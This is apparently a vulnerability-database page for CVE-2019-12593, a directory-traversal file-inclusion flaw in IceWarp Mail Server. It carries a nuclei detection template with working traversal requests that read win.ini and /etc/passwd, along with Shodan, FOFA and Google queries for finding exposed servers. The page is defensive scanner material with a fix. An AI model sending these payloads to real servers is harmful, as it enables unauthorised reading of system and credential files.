HexBrain

Browse / CVEs / CVE-2019-12593

CVE-2019-12593· icewarp / mail server· CWE-22

IceWarp Mail Server <=10.4.4 - Local File Inclusion

highseverity
7.5CVSS score
41%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

IceWarp Mail Server through 10.4.4 is prone to a local file inclusion vulnerability via webmail/calendar/minimizer/index.php?style=..%5c directory traversal.

Impact

An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.

Fix

Upgrade IceWarp Mail Server to a version higher than 10.4.4 or apply the vendor-provided patch to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini ; GET {{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc%5cpasswd
Positive when: contains "[intl]" or "root:x:0" AND status 200

Run it with nuclei: nuclei -id CVE-2019-12593 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-12593

info:
  name: IceWarp Mail Server <=10.4.4 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: |
    IceWarp Mail Server through 10.4.4 is prone to a local file inclusion vulnerability via webmail/calendar/minimizer/index.php?style=..%5c directory traversal.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
  remediation: |
    Upgrade IceWarp Mail Server to a version higher than 10.4.4 or apply the vendor-provided patch to fix the LFI vulnerability.
  reference:
    - https://github.com/JameelNabbo/exploits/blob/master/IceWarp%20%3C%3D10.4.4%20local%20file%20include.txt
    - http://www.icewarp.com
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12593
    - http://packetstormsecurity.com/files/153161/IceWarp-10.4.4-Local-File-Inclusion.html
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-12593
    cwe-id: CWE-22
    epss-score: 0.40965
    epss-percentile: 0.9867
    cpe: cpe:2.3:a:icewarp:mail_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: icewarp
    product: mail_server
    shodan-query:
      - title:"icewarp"
      - http.title:"icewarp server administration"
      - http.title:"icewarp"
      - cpe:"cpe:2.3:a:icewarp:mail_server"
    fofa-query:
      - title="icewarp server administration"
      - title="icewarp"
    google-query:
      - Powered By IceWarp 10.4.4
      - intitle:"icewarp"
      - powered by icewarp 10.4.4
      - intitle:"icewarp server administration"
  tags: cve,cve2019,packetstorm,lfi,icewarp,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini'
      - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc%5cpasswd'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "[intl]"
          - "root:x:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from